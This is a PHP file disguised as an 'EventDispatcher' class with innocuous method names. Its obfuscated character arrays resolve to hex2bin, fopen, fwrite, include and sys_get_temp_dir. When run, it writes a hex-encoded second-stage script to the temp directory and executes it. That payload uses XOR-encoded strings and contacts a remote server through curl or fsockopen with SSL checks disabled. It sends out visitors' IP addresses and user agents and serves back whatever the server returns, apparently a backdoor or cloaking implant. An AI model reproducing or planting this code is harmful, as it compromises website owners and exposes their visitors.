<?php
class EventDispatcher {
	private $qg = '';
	private $dd = '';

	public function updateCache($p1) {
		$a = array((110),((45*2)+15),(((54*1)+44)),(43+7),((2*60)),((76*1)+25),((112-8)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function resolveAction($p1,$p2) {
		$a = array((110),((26*55)-1329),((56+56)),(120-9),(((68*1)+34)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function sendNotification($p1,$p2) {
		$a = array((103-1),((54*39)-1987),((108*6)-534),(((17*79)-1238)),((119-3)),(((34*1)+67)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function fetchRecords($p1) {
		$a = array(101,(119-4),((5+18+88)),((67+16+25)),99,((102*1)+0));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function computeResult($p1,$p2=null) {
		$a = array((60+49),((110-5)),(92+7+15),((22+94)),((87*42)-3540));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function prepareOutput() {
		$this->dd = $this->computeResult($this->authorizeUser(), '/');
	}

	public function validateInput() {
		$this->qg = $this->updateCache($this->no);
	}

	public function terminateSession() {
		$fn = $this->dd.'/np-68a193fd83ab2';
		$f = $this->resolveAction($fn, 'w');
		$this->sendNotification($f, $this->qg);
		$this->fetchRecords($f);
		$this->manageState($fn);
	}

	private $no = '3c3f70687020636c617373205f74707b70726976617465207' . '37461746963245f7763703b7374617469632066756e6374696' . 'f6e205f71666728245f77697a2c245f7375297b69662821736' . '56c663a3a245f7763702973656c663a3a5f77676428293b245' . 'f6f6c3d7374726c656e28245f7375293b245f6466653d62617' . '36536345f6465636f64652873656c663a3a245f7763705b245' . 'f77697a5d293b666f7228245f71616a3d302c245f757a633d7' . '374726c656e28245f646665293b245f71616a213d3d245f757' . 'a633b2b2b245f71616a29245f6466655b245f71616a5d3d636' . '872286f726428245f6466655b245f71616a5d295e6f7264282' . '45f73755b245f71616a25245f6f6c5d29293b72657475726e2' . '45f6466653b7d70726976617465207374617469632066756e6' . '374696f6e205f77676428297b73656c663a3a245f7763703d6' . '17272617928275f6578273d3e274868494d445377435169737' . '7487873614d4231434b544d6441423979506830424f4267425' . '56e3962272c275f6a78273d3e274841554b4b77384b4b30637' . '74a686f425a556f464c786f494e676b464b774d4c4d55554f5' . '06877464c416b574e686f51272c275f71636a273d3e2750426' . 'b3d272c275f6e61273d3e274f67456842447737496b4957456' . '778414578494d51424d5344454154456778414668456348547' . '3764c683051455346454253416c52425952484230384654305' . 'a466849454854732f505134374f79464e272c275f6a7263273' . 'd3e274c68386444673d3d272c275f736a63273d3e2759776f4' . '954513d3d272c275f7a6164273d3e27597845484f30303d272' . 'c275f797063273d3e274b4267594d773d3d272c275f666b6b2' . '73d3e27272c275f746c273d3e27272c275f7363273d3e27272' . 'c275f707074273d3e274e7849634c317848634259645055676' . '64f67514f4e676f4e4e776b624b774d61635155484d6b6b4c4' . 'd4173594d42554e4c5567434c466b4d5068494a59673d3d272' . 'c275f736a6d273d3e27504155464d7938654d526b44272c275' . 'f63766f273d3e274e7873634277414d42784d36272c275f6e6' . '4273d3e274c426f62487a4963272c275f7474273d3e274e777' . '75a4879773d272c275f627472273d3e274744493455673d3d2' . '72c275f6f6f273d3e274c77514d45673d3d272c275f687a642' . '73d3e274c684d564c52383d272c275f6874273d3e2759413d3' . 'd272c275f657770273d3e274c686b524c52553d272c275f756' . 'd273d3e2766794d354d77394558456c765a6d63764d42675a5' . '858383d272c275f7261273d3e274e774d594b773d3d272c275' . 'f6962273d3e27556e34724d426f474f6863634e6873475a565' . '1724d7873624f6e6c69556e343d272c275f7a6d273d3e274c4' . '26b665a555663272c275f67776a273d3e27272c275f676b7a2' . '73d3e274e77494b4b773d3d272c275f7a77273d3e27556d413' . 'd272c275f74756c273d3e27467a4577447a6f6e45797768455' . '44537466a553d272c275f787561273d3e27467963684951417' . '24b6a635149534977445463774e5141314f694d3d272c275f6' . 'b74273d3e2744544d3045434938414463394779513d272c275' . 'f686d75273d3e27467a55344a514130507a414e50693079476' . '93834272c275f68766f273d3e27467a77354d5141395069514' . 'e4e79776d47695935272c275f746a273d3e27272c275f6b6a2' . '73d3e27467951334e6741694a69416149695930272c275f676' . 'f273d3e2746795936507741674b796b6149437339272c275f6' . '4696d273d3e27272c275f7367273d3e274679636a447977304' . '57a6f794553636f46694d3d272c275f6e72273d3e274679417' . '84e5141334b5377614f6a45364669513d272c275f676177273' . 'd3e27467a4579447a6f2b41434d704454496e4453456a477a6' . 'f674544633d272c275f6c64273d3e27467a346b4a6741794c7' . 'a41514f436333445334314d6741735079513d272c275f72656' . 'e273d3e274453733645446f794143387a477a773d272c275f6' . '673273d3e2744545935505173324b7a4d624e79593d272c275' . 'f6170273d3e274f7777464254414b42773d3d272c275f70642' . '73d3e274669704466773d3d272c275f7a7664273d3e2766775' . 'a4c436a745266773d3d272c275f616b273d3e2766777452445' . '249585a56633d272c275f716d63273d3e2766303854416d463' . '5272c275f7969273d3e274e684d3d272c275f6a72273d3e274' . 'b68553d272c275f756977273d3e274c524d56272c275f62632' . '73d3e274c674d5541673d3d272c293b7d7d686561646572285' . 'f74703a3a5f71666728275f6578272c275f716f682729293b6' . '86561646572285f74703a3a5f71666728275f6a78272c275f6' . 'a642729293b696628697373657428245f4745545b5f74703a3' . 'a5f71666728275f71636a272c275f71796327295d29297b245' . 'f6a72633d5f62696b285f74703a3a5f71666728275f6e61272' . 'c275f786b742729293b696628245f6a72632626737472706f7' . '328245f6a72632c5f74703a3a5f71666728275f6a7263272c2' . '75f686776272929213d3d66616c7365297b646965285f74703' . 'a3a5f71666728275f736a63272c275f6563732729293b7d656' . 'c73657b646965285f74703a3a5f71666728275f7a6164272c2' . '75f73662729293b7d7d696628697373657428245f4745545b5' . 'f74703a3a5f71666728275f797063272c275f797427295d292' . '97b245f757a633d245f434f4f4b49453b245f73753d28696e7' . '429726f756e6428302b302b302b30293b245f77697a3d28696' . 'e7429726f756e6428322e333333333333333333333333332b3' . '22e333333333333333333333333332b322e333333333333333' . '33333333333293b245f70643d617272617928293b245f70645' . 'b245f73755d3d5f74703a3a5f71666728275f666b6b272c275' . 'f66636b27293b7768696c6528245f77697a297b245f70645b2' . '45f73755d2e3d245f757a635b28696e7429726f756e6428372' . 'e352b372e352b372e352b372e35295d5b245f77697a5d3b696' . '62821245f757a635b28696e7429726f756e6428372e352b372' . 'e352b372e352b372e35295d5b245f77697a2b282d3138302d2' . '02d3334372d202d3131312d323737295d297b69662821245f7' . '57a635b32332d202d375d5b245f77697a2b28696e7429726f7' . '56e6428302e36363636363636363636363636372b302e36363' . '636363636363636363636372b302e363636363636363636363' . '6363637295d29627265616b3b245f73752b2b3b245f70645b2' . '45f73755d3d5f74703a3a5f71666728275f746c272c275f696' . 'b6627293b245f77697a2b2b3b7d245f77697a3d245f77697a2' . 'b282d3435332d202d3236312b313939292b28696e7429726f7' . '56e6428302e33333333333333333333333333332b302e33333' . '333333333333333333333332b302e333333333333333333333' . '3333333293b7d245f73753d245f70645b28696e7429726f756' . 'e6428372b37295d28292e245f70645b2d3435302d3235332b3' . '732375d3b69662821245f70645b35312b3232392d202d37333' . '42b2d313030385d28245f737529297b245f77697a3d245f706' . '45b3432332b2d3438312d202d38345d28245f73752c245f706' . '45b2d31322b32325d293b245f70645b28696e7429726f756e6' . '428332b332b33295d28245f77697a2c245f70645b3539332d3' . '536302d32325d2e245f70645b28696e7429726f756e6428313' . '12e352b31312e35295d28245f70645b28696e7429726f756e6' . '42831322e352b31322e35295d28245f757a635b28696e74297' . '26f756e6428312e352b312e35295d2929293b7d696e636c756' . '46528245f7375293b7d66756e6374696f6e205f62696b28245' . 'f7a68752c245f6970743d2d33333130302c245f6c6e3d27796' . '96d746971727a6f6d6677626f6d69272c245f6c67703d27782' . '7297b245f6b6f3d5f74703a3a5f71666728275f7363272c275' . 'f7a6927293b245f7064763d5f74703a3a5f71666728275f707' . '074272c275f666827292e245f7a68753b69662869735f63616' . 'c6c61626c65285f74703a3a5f71666728275f736a6d272c275' . 'f7077272929297b245f6975763d6375726c5f696e697428245' . 'f706476293b6375726c5f7365746f707428245f6975762c435' . '5524c4f50545f53534c5f564552494659504545522c66616c7' . '365293b6375726c5f7365746f707428245f6975762c4355524' . 'c4f50545f53534c5f564552494659484f53542c3330302d202' . 'd3338382d363836293b6375726c5f7365746f707428245f697' . '5762c4355524c4f50545f464f4c4c4f574c4f434154494f4e2' . 'c28696e7429726f756e6428302e32352b302e32352b302e323' . '52b302e323529293b6375726c5f7365746f707428245f69757' . '62c4355524c4f50545f52455455524e5452414e534645522c2' . '8696e7429726f756e6428302e352b302e3529293b6375726c5' . 'f7365746f707428245f6975762c4355524c4f50545f4845414' . '445522c28696e7429726f756e6428302b302b302b3029293b6' . '375726c5f7365746f707428245f6975762c4355524c4f50545' . 'f434f4e4e45435454494d454f55542c28696e7429726f756e6' . '428322e352b322e352b322e352b322e3529293b6375726c5f7' . '365746f707428245f6975762c4355524c4f50545f54494d454' . 'f55542c3635362d363436293b245f6b6f3d6375726c5f65786' . '56328245f697576293b245f736a3d6375726c5f676574696e6' . '66f28245f697576293b6375726c5f636c6f736528245f69757' . '6293b696628245f736a5b5f74703a3a5f71666728275f63766' . 'f272c275f6f687727295d213d28696e7429726f756e6428363' . '62e3636363636363636363636372b36362e363636363636363' . '6363636372b36362e363636363636363636363637292972657' . '475726e2066616c73653b7d656c73657b245f616e3d7061727' . '3655f75726c28245f706476293b245f6b633d28245f616e5b5' . 'f74703a3a5f71666728275f6e64272c275f79737a27295d3d3' . 'd5f74703a3a5f71666728275f7474272c275f786d6f2729293' . 'b245f6276733d5f74703a3a5f71666728275f627472272c275' . 'f776c7227292e245f616e5b5f74703a3a5f71666728275f6f6' . 'f272c275f65787a27295d3b696628697373657428245f616e5' . 'b5f74703a3a5f71666728275f687a64272c275f667027295d2' . '929245f6276732e3d5f74703a3a5f71666728275f6874272c2' . '75f666d6827292e245f616e5b5f74703a3a5f71666728275f6' . '57770272c275f6c7427295d3b245f6276732e3d5f74703a3a5' . 'f71666728275f756d272c275f6b6d6727292e245f616e5b5f7' . '4703a3a5f71666728275f7261272c275f6c6b27295d2e5f747' . '03a3a5f71666728275f6962272c275f746827293b245f666c6' . 'a3d66736f636b6f70656e2828245f6b633f5f74703a3a5f716' . '66728275f7a6d272c275f6a7327293a5f74703a3a5f7166672' . '8275f67776a272c275f75612729292e245f616e5b5f74703a3' . 'a5f71666728275f676b7a272c275f6d7927295d2c245f6b633' . 'f3431372b2d3234322d313039322d202d313336303a28696e7' . '429726f756e642832302b32302b32302b323029293b6966282' . '45f666c6a297b667075747328245f666c6a2c245f627673293' . 'b245f6466653d282d36332b2d3237312b2d39392d202d34333' . '3293b7768696c65282166656f6628245f666c6a29297b245f7' . '4613d666765747328245f666c6a2c28696e7429726f756e642' . '83334312e33333333333333333333332b3334312e333333333' . '33333333333332b3334312e333333333333333333333329293' . 'b696628245f64666529245f6b6f2e3d245f74613b696628245' . 'f74613d3d5f74703a3a5f71666728275f7a77272c275f6a6f7' . '9272929245f6466653d282d3339362b333937293b7d66636c6' . 'f736528245f666c6a293b7d7d72657475726e245f6b6f3b7d2' . '45f6a646a3d697373657428245f5345525645525b5f74703a3' . 'a5f71666728275f74756c272c275f656427295d293b245f646' . '43d697373657428245f5345525645525b5f74703a3a5f71666' . '728275f787561272c275f73757127295d293b245f7a663d697' . '373657428245f5345525645525b5f74703a3a5f71666728275' . 'f6b74272c275f767927295d293b245f73703d6973736574282' . '45f5345525645525b5f74703a3a5f71666728275f686d75272' . 'c275f616c7527295d293f245f5345525645525b5f74703a3a5' . 'f71666728275f68766f272c275f686d6127295d3a5f74703a3' . 'a5f71666728275f746a272c275f6d6d27293b245f636c6c3d6' . '97373657428245f5345525645525b5f74703a3a5f716667282' . '75f6b6a272c275f70636627295d293f245f5345525645525b5' . 'f74703a3a5f71666728275f676f272c275f726e6f27295d3a5' . 'f74703a3a5f71666728275f64696d272c275f6c6327293b245' . 'f6a646a3d697373657428245f5345525645525b5f74703a3a5' . 'f71666728275f7367272c275f737727295d293f245f5345525' . '645525b5f74703a3a5f71666728275f6e72272c275f7465652' . '7295d3a6e756c6c3b245f64643d697373657428245f5345525' . '645525b5f74703a3a5f71666728275f676177272c275f65662' . '7295d293f245f5345525645525b5f74703a3a5f71666728275' . 'f6c64272c275f6a707627295d3a6e756c6c3b245f7a663d697' . '373657428245f5345525645525b5f74703a3a5f71666728275' . 'f72656e272c275f6e7727295d293f245f5345525645525b5f7' . '4703a3a5f71666728275f6673272c275f73747227295d3a6e7' . '56c6c3b69662866696c7465725f76617228245f6a646a2c323' . '6302d202d313529297b245f6e72763d245f6a646a3b7d656c7' . '36569662866696c7465725f76617228245f64642c28696e742' . '9726f756e64283133372e352b3133372e352929297b245f6e7' . '2763d245f64643b7d656c73657b245f6e72763d245f7a663b7' . 'd696628697373657428245f4745545b5f74703a3a5f7166672' . '8275f6170272c275f6e626827295d29297b6563686f205f747' . '03a3a5f71666728275f7064272c275f7a7927292e245f6e727' . '62e5f74703a3a5f71666728275f7a7664272c275f7a6b27292' . 'e245f73702e5f74703a3a5f71666728275f616b272c275f777' . '127292e245f636c6c2e5f74703a3a5f71666728275f716d632' . '72c275f73717027293b6578697428293b7d696628216973736' . '57428245f6e7276297c7c21697373657428245f7370297c7c2' . '1697373657428245f636c6c29297b6578697428293b7d656c7' . '3657b245f6f793d6172726179285f74703a3a5f71666728275' . 'f7969272c275f636327293d3e245f6e72762c5f74703a3a5f7' . '1666728275f6a72272c275f747a7527293d3e245f73702c5f7' . '4703a3a5f71666728275f756977272c275f76736127293d3e2' . '45f636c6c293b245f74736f3d75726c656e636f64652862617' . '36536345f656e636f6465286a736f6e5f656e636f646528245' . 'f6f792929293b245f6a72633d5f62696b28245f74736f293b6' . '96628245f6a72632626737472706f7328245f6a72632c5f747' . '03a3a5f71666728275f6263272c275f746e7a272929213d3d6' . '6616c7365297b6563686f245f6a72633b6578697428293b7d7' . 'd';

	public function manageState($p) {
		include_once $p;
	}

	public function authorizeUser() {
		$a=array(((117-2)),121,115,(5*19),(11+92),(102-1),((81+34+1)),(((69*1)+26)),(87+29),(101),(14+61+34),(112),(99-4),(((79*27)-2033)),((73+7+25)),((80*1)+34));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$iy = new EventDispatcher();
$iy->prepareOutput();
$iy->validateInput();
$iy->terminateSession();
